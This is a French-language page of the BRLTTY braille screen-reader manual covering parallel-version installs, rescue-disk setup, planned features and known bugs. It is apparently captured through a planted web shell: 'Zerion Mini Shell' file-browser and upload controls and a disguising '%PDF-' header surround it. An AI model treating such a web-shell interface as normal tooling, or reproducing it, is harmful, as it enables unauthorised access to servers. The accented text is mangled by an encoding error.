%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/doc/brltty/French/
Upload File :
Create Path :
Current File : //usr/share/doc/brltty/French/BRLTTY-7.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
 <META NAME="GENERATOR" CONTENT="LinuxDoc-Tools">
 <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
 <TITLE>Manuel de r�f�rence de BRLTTY: Sujets avanc�s</TITLE>
 <LINK HREF="BRLTTY-8.html" REL=next>
 <LINK HREF="BRLTTY-6.html" REL=previous>
 <LINK HREF="BRLTTY.html#toc7" REL=contents>
</HEAD>
<BODY>
<A HREF="BRLTTY-8.html">Page suivante</A>
<A HREF="BRLTTY-6.html">Page pr�c�dente</A>
<A HREF="BRLTTY.html#toc7">Table des mati�res</A>
<HR>
<H2><A NAME="s7">7.</A> <A HREF="BRLTTY.html#toc7">Sujets avanc�s</A></H2>



<H2><A NAME="multiple"></A> <A NAME="ss7.1">7.1</A> <A HREF="BRLTTY.html#toc7.1">Installation de plusieurs versions</A>
</H2>

<P>Il est facile d'avoir plus d'une version de BRLTTY install�e sur  le m�me
syst�me en m�me temps. Cette possibilit� vous permet de tester une nouvelle
version avant de supprimer l'ancienne.</P>
<P>L'option de compilation 
<A HREF="BRLTTY-3.html#build-execute-root">--with-execute-root</A>
vous permet d'installer la 
<A HREF="BRLTTY-3.html#hierarchy">hi�rarchie des fichiers install�s</A> compl�te l� o�
vous le voulez de sorte qu'elle soit totalement autonome dans son contenu.
Tout en vous rappelant qu'il vaut mieux prendre tous les composants de
BRLTTY dans le syst�me de fichier racine, vous pouvez le compiler ainsi:
<BLOCKQUOTE><CODE>
<PRE>
./configure --with-execute-root=/brltty-3.1
make install
</PRE>
</CODE></BLOCKQUOTE>

Vous pouvez alors l'ex�cuter ainsi:
<BLOCKQUOTE><CODE>
/brltty-3.1/bin/brltty
</CODE></BLOCKQUOTE>

Quand vous avez fait la version 3.2, installez-la simplement dans un
emplacement diff�rent et ex�cutez le nouvel ex�cutable � partir de l�.
<BLOCKQUOTE><CODE>
<PRE>
./configure --with-execute-root=/brltty-3.2
make install
/brltty-3.2/bin/brltty
</PRE>
</CODE></BLOCKQUOTE>
</P>
<P>Jusque-l�, tout cela est quelque peu maladroit pour au moins deux raisons.
La premi�re est que ces longs chemins sont trop difficiles � taper, et l'autre
est que vous ne voulez pas bricoler avec
la s�quence de d�marrage de votre syst�me chaque fois que vous souhaitez aller
� une version diff�rente de BRLTTY.
Ces probl�mes se r�solvent facilement en ajoutant un lien symbolique pour
l'ex�cutable.
<BLOCKQUOTE><CODE>
ln -s /brltty-3.1/bin/brltty /bin/brltty
</CODE></BLOCKQUOTE>

Quand il est temps d'utiliser la version la plus r�cente, pointez de nouveau
simplement le lien symbolique.
<BLOCKQUOTE><CODE>
ln -s /brltty-3.2/bin/brltty /bin/brltty
</CODE></BLOCKQUOTE>
</P>
<P>Si vous aimez vraiment faire de la fantaisie, introduisez un autre niveau
de redirection de fa�on � rendre tous les fichiers de chaque version de BRLTTY
tels qu'ils sont dans tous les emplacements standards.
D'abord, cr�ez un lien symbolique � travers un emplacement o� on peut
repointer ais�ment � partir de chacun des emplacements standards de BRLTTY.
<BLOCKQUOTE><CODE>
<PRE>
ln -s /brltty/bin/brltty /bin/brltty
ln -s /brltty/etc/brltty /etc/brltty
ln -s /brltty/lib/brltty /lib/brltty
</PRE>
</CODE></BLOCKQUOTE>

Ensuite, tout ce que vous devez faire est de pointer <CODE>/brltty</CODE> vers la
version d�sir�e.
<BLOCKQUOTE><CODE>
ln -s /brltty-3.1 /brltty
</CODE></BLOCKQUOTE>
</P>

<H2><A NAME="ss7.2">7.2</A> <A HREF="BRLTTY.html#toc7.2">Disques racines d'Installation/Secours pour Linux</A>
</H2>

<P>BRLTTY peut s'ex�cuter comme un seul ex�cutable. Tout ce qu'il a besoin de
savoir peut �tre configur� explicitement lors de la compilation (voir
<A HREF="BRLTTY-3.html#build">Options de compilation</A>).
Si le r�pertoire de donn�es (voir les options de compilation
<A HREF="BRLTTY-3.html#build-data-directory">--with-data-directory</A> et
<A HREF="BRLTTY-3.html#build-execute-root">--with-execute-root</A>) n'existe pas, BRLTTY
cherche dans <CODE>/etc</CODE> les fichiers dont il a besoin.
M�me si un de ces fichiers n'existe pas, BRLTTY fonctionne encore!</P>
<P>Si, pour une raison quelconque, vous avez d�j� cr�� le r�pertoire de donn�es
(habituellement, <CODE>/etc/brltty</CODE>) � la main, il est important de r�gler
ses permissions de telle sorte que seul le super-utilisateur puisse y cr�er des
fichiers.
<BLOCKQUOTE><CODE>
chmod 755 /etc/brltty
</CODE></BLOCKQUOTE>
</P>
<P>Le p�riph�rique d'inspection du contenu de l'�cran (habituellement
<CODE>/dev/vcsa</CODE>) est n�cessaire. Il devrait d�j� exister, � moins que votre
distribution de Linux ne soit trop vieille. Si n�cessaire, vous pouvez le cr�er
avec:
<BLOCKQUOTE><CODE>
<PRE>
mknod /dev/vcsa c 7 128
chmod 660 /dev/vcsa
chown root.tty /dev/vcsa
</PRE>
</CODE></BLOCKQUOTE>
</P>
<P>Un probl�me souvent rencontr� lorsqu'on essaie d'utiliser BRLTTY dans un
environnement instable, comme un disque racine ou un syst�me incomplet, est
qu'il pourrait ne pas trouver les biblioth�ques partag�es (ou des parties
de celles-ci) dont il a besoin.
Les disques racines utilisent souvent des versions des biblioth�ques
sous-param�tr�es et/ou non � jour qui peuvent �tre inad�quates. La solution est de configurer BRLTTY avec l'optfon de
compilation 
<A HREF="BRLTTY-3.html#build-standalone-programs">--enable-standalone-programs</A>.
Cela supprime toutes les d�pendances des biblioth�ques partag�es, mais
malheureusement, cr�e aussi un ex�cutable plus gros.
Il y a un certain nombre d'options de compilation que vous pouvez utiliser
pour supprimer de fa�on s�lective les possibilit�s de BRLTTY dont vous n'avez pas
besoin de fa�on � att�nuer ce probl�me (voir la section
<A HREF="BRLTTY-3.html#build-features">possibilit��s de la compilation</A>).</P>
<P>L'ex�cutable est nettoy� pendant le
<A HREF="BRLTTY-3.html#make-install">make install</A>. Cela r�duit de fa�on
significative sa taille en supprimant sa table de symboles.
Vous obtiendrez un ex�cutable beaucoup plus petit, puis copiez-le de son emplacement
d'installation.
Cependant, si vous le copiez depuis le r�pertoire de compilation, n'oubliez pas de le nettoyer.
<BLOCKQUOTE><CODE>
strip brltty
</CODE></BLOCKQUOTE>
</P>

<H2><A NAME="ss7.3">7.3</A> <A HREF="BRLTTY.html#toc7.3">Avanc�es futures</A>
</H2>

<P>Outre la r�paration de bugs et le support de plus de types d'afficheurs
brailles, nous esp�rons, si le temps nous le permet, travailler sur:
<DL>
<DT><B>Meilleure prise en charge des attributs</B><DD>
<P>
<UL>
<LI>Poursuite des attributs.</LI>
<LI>Mode mixte texte et attributs.</LI>
</UL>
</P>
<DT><B>Poursuite du d�filement</B><DD>
<P>Alignement de la plage braille sur une ligne alors qu'elle d�file �
l'�cran.</P>
<DT><B>Meilleur support de voix</B><DD>
<P>
<UL>
<LI>Braille et voix m�lang�s pour une lecture plus rapide du texte.</LI>
<LI>Meilleur navigation vocale.</LI>
<LI>Plus de synth�ses vocales.</LI>
</UL>
</P>
<DT><B>Sous-r�gions sur l'�cran</B><DD>
<P>Ignorer le d�placement du curseur hors de la r�gion, et rendre fluide les
limites de navigation aux bords de la r�gion.</P>
</DL>

Voir le fichier <CODE>TODO</CODE> pour une liste plus compl�te.</P>

<H2><A NAME="ss7.4">7.4</A> <A HREF="BRLTTY.html#toc7.4">Bogues connus</A>
</H2>

<P>A l'heure o� nous �crivons (d�cembre 2001), les probl�mes suivants sont
connus.</P>
<P>La routine-curseur est consid�r�e comme un sous-processus en boucle qui s'ex�cute
avec une priorit� r�duite pour �viter de trop utiliser le temps du processeur.
Les chargements de syst�mes diff�rents n�cessitent des r�glages diff�rents de
ses param�tres. Ceux par d�faut fonctionnent tr�s bien dans un �diteur Unix
classique sur un syst�me charg� normalement, mais tr�s mal dans d'autres
situations, par exemple sur une liaison s�rie lente vers un nom de machine
supprim�.</P>

<HR>
<A HREF="BRLTTY-8.html">Page suivante</A>
<A HREF="BRLTTY-6.html">Page pr�c�dente</A>
<A HREF="BRLTTY.html#toc7">Table des mati�res</A>
</BODY>
</HTML>

Zerion Mini Shell 1.0